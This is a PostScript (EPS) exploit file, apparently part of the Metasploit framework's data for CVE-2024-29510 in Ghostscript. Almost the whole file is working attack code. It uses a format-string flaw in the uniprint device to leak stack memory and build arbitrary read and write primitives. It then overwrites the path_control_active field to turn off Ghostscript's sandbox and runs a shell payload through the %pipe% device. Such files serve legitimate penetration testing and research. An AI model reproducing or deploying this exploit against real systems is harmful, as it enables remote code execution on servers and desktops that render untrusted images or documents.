Path: blob/master/data/exploits/CVE-2024-29510/ghostscript_format_string.eps
57714 views
%!PS-Adobe-3.0 EPSF-3.0
%%Pages: 1
%%BoundingBox: 36 36 576 756
%%LanguageLevel: 1
%%EndComments
%%BeginProlog
%%EndProlog
% Make sure to restore the original `setpagedevice` from userdict or systemdict
% in case it has been redefined in another postscript file.
% This happens with ImageMagick for example.
userdict begin
systemdict /setpagedevice known
{
/setpagedevice systemdict /setpagedevice get def
}
if
end
% ====== Configuration ======
% Offset of `gp_file *out` on the stack
/IdxOutPtr MSF_IDXOUTPTR def
% ====== General Postscript utility functions ======
% from: https://github.com/scriptituk/pslutils/blob/master/string.ps
/cat {
exch
dup length 2 index length add string
dup dup 5 2 roll
copy length exch putinterval
} bind def
% from: https://rosettacode.org/wiki/Repeat_a_string#PostScript
/times {
dup length dup % rcount ostring olength olength
4 3 roll % ostring olength olength rcount
mul dup string % ostring olength flength fstring
4 1 roll % fstring ostring olength flength
1 sub 0 3 1 roll % fstring ostring 0 olength flength_minus_one
{ % fstring ostring iter
1 index 3 index % fstring ostring iter ostring fstring
3 1 roll % fstring ostring fstring iter ostring
putinterval % fstring ostring
} for
pop % fstring
} def
% Printing helpers
% /println { print (\012) print } bind def
% /printnumln { =string cvs println } bind def
% ====== Start of exploit helper code ======
% Make a new tempfile but only save its path. This gives us a file path to read/write
% which will exist as long as this script runs. We don't actually use the file object
% (hence `pop`) because we're passing the path to uniprint and reopening it ourselves.
/PathTempFile () (w+) .tempfile pop def
% Convert hex string "4142DEADBEEF" to padded little-endian byte string <EFBEADDE42410000>
% <HexStr> str_ptr_to_le_bytes <ByteStringLE>
/str_ptr_to_le_bytes {
% Convert hex string argument to Postscript string
% using <DEADBEEF> notation
/ArgBytes exch (<) exch (>) cat cat token pop exch pop def
% Prepare resulting string (`string` fills with zeros)
/Res 8 string def
% For every byte in the input
0 1 ArgBytes length 1 sub {
/i exch def
% put byte at index (len(ArgBytes) - 1 - i)
Res ArgBytes length 1 sub i sub ArgBytes i get put
} for
Res % return
} bind def
% <StackString> <FmtString> do_uniprint <LeakedData>
/do_uniprint {
/FmtString exch def
/StackString exch def
% Select uniprint device with our payload
<<
/OutputFile PathTempFile
/OutputDevice /uniprint
/upColorModel /DeviceCMYKgenerate
/upRendering /FSCMYK32
/upOutputFormat /Pcl
/upOutputWidth 99999
/upWriteComponentCommands {(x)(x)(x)(x)} % This is required, just put bogus strings
/upYMoveCommand FmtString
>>
setpagedevice
% Manipulate the interpreter to put a recognizable piece of data on the stack
(%%__) StackString cat .runstring
% Produce a page with some content to trigger uniprint logic
newpath 1 1 moveto 1 2 lineto 1 setlinewidth stroke
showpage
% Read back the written data
/InFile PathTempFile (r) file def
/LeakedData InFile 4096 string readstring pop def
InFile closefile
LeakedData % return
} bind def
% get_index_of_controllable_stack <Idx>
/get_index_of_controllable_stack {
% A recognizable token on the stack to search for
/SearchToken (ABABABAB) def
% Construct "1:%lx,2:%lx,3:%lx,...,400:%lx,"
/FmtString 0 string 1 1 400 { 3 string cvs (:%lx,) cat cat } for def
SearchToken FmtString do_uniprint
% Search for ABABABAB => 4241424142414241 (assume LE)
(4241424142414241) search {
exch pop
exch pop
% <pre> is left
% Search for latest comma in <pre> to get e.g. `123:` as <post>
(,) rsearch pop pop pop
% Search for colon and use <pre> to get `123`
(:) search pop exch pop exch pop
% return as int
cvi
} {
% (Could not find our data on the stack.. exiting) println
quit
} ifelse
} bind def
% <StackIdx> <AddrHex> write_to
/write_to {
/AddrHex exch str_ptr_to_le_bytes def % address to write to
/StackIdx exch def % stack idx to use
/FmtString StackIdx 1 sub (%x) times (_%ln) cat def
AddrHex FmtString do_uniprint
pop % we don't care about formatted data
} bind def
% <StackIdx> read_ptr_at <PtrHexStr>
/read_ptr_at {
/StackIdx exch def % stack idx to use
/FmtString StackIdx 1 sub (%x) times (__%lx__) cat def
() FmtString do_uniprint
(__) search pop pop pop (__) search pop exch pop exch pop
} bind def
% num_bytes <= 9
% <StackIdx> <PtrHex> <NumBytes> read_dereferenced_bytes_at <ResultAsMultipliedInt>
/read_dereferenced_bytes_at {
/NumBytes exch def
/PtrHex exch def
/PtrOct PtrHex str_ptr_to_le_bytes def % address to read from
/StackIdx exch def % stack idx to use
/FmtString StackIdx 1 sub (%x) times (__%.) NumBytes 1 string cvs cat (s__) cat cat def
PtrOct FmtString do_uniprint
/Data exch (__) search pop pop pop (__) search pop exch pop exch pop def
% Check if we were able to read all bytes
Data length NumBytes eq {
% Yes we did! So return the integer conversion of the bytes
0 % accumulator
NumBytes 1 sub -1 0 {
exch % <i> <accum>
256 mul exch % <accum*256> <i>
Data exch get % <accum*256> <Data[i]>
add % <accum*256 + Data[i]>
} for
} {
% We did not read all bytes, add a null byte and recurse on addr+1
StackIdx 1 PtrHex ptr_add_offset NumBytes 1 sub read_dereferenced_bytes_at
256 mul
} ifelse
} bind def
% <StackIdx> <AddrHex> read_dereferenced_ptr_at <PtrHexStr>
/read_dereferenced_ptr_at {
% Read 6 bytes
6 read_dereferenced_bytes_at
% Convert to hex string and return
16 12 string cvrs
} bind def
% <Offset> <PtrHexStr> ptr_add_offset <PtrHexStr>
/ptr_add_offset {
/PtrHexStr exch def % hex string pointer
/Offset exch def % integer to add
/PtrNum (16#) PtrHexStr cat cvi def
% base 16, string length 12
PtrNum Offset add 16 12 string cvrs
} bind def
% () println
% ====== Start of exploit logic ======
% Find out the index of the controllable bytes
% This is around the 200-300 range but differs per binary/version
/IdxStackControllable get_index_of_controllable_stack def
% (Found controllable stack region at index: ) print IdxStackControllable printnumln
% Exploit steps:
% - `gp_file *out` is at stack index `IdxOutPtr`.
%
% - Controllable data is at index `IdxStackControllable`.
%
% - We want to find out the address of:
% out->memory->gs_lib_ctx->core->path_control_active
% hence we need to dereference and add ofsets a few times
%
% - Once we have the address of `path_control_active`, we use
% our write primitive to write an integer to its address - 3
% such that the most significant bytes (zeros) of that integer
% overwrite `path_control_active`, setting it to 0.
%
% - Finally, with `path_control_active` disabled, we can use
% the built-in (normally sandboxed) `%pipe%` functionality to
% run shell commands
/PtrOut IdxOutPtr read_ptr_at def
% (out: 0x) PtrOut cat println
% memory is at offset 144 in out
/PtrOutOffset 144 PtrOut ptr_add_offset def
/PtrMem IdxStackControllable PtrOutOffset read_dereferenced_ptr_at def
% (out->mem: 0x) PtrMem cat println
% gs_lib_ctx is at offset 208 in memory
/PtrMemOffset 208 PtrMem ptr_add_offset def
/PtrGsLibCtx IdxStackControllable PtrMemOffset read_dereferenced_ptr_at def
% (out->mem->gs_lib_ctx: 0x) PtrGsLibCtx cat println
% core is at offset 8 in gs_lib_ctx
/PtrGsLibCtxOffset 8 PtrGsLibCtx ptr_add_offset def
/PtrCore IdxStackControllable PtrGsLibCtxOffset read_dereferenced_ptr_at def
% (out->mem->gs_lib_ctx->core: 0x) PtrCore cat println
% path_control_active is at offset 156 in core
/PtrPathControlActive 156 PtrCore ptr_add_offset def
% (out->mem->gs_lib_ctx->core->path_control_active: 0x) PtrPathControlActive cat println
% Subtract a bit from the address to make sure we write a null over the field
/PtrTarget -3 PtrPathControlActive ptr_add_offset def
% And overwrite it!
IdxStackControllable PtrTarget write_to
% And now `path_control_active` == 0, so we can use %pipe%
(%pipe%MSF_PAYLOAD) (r) file
quit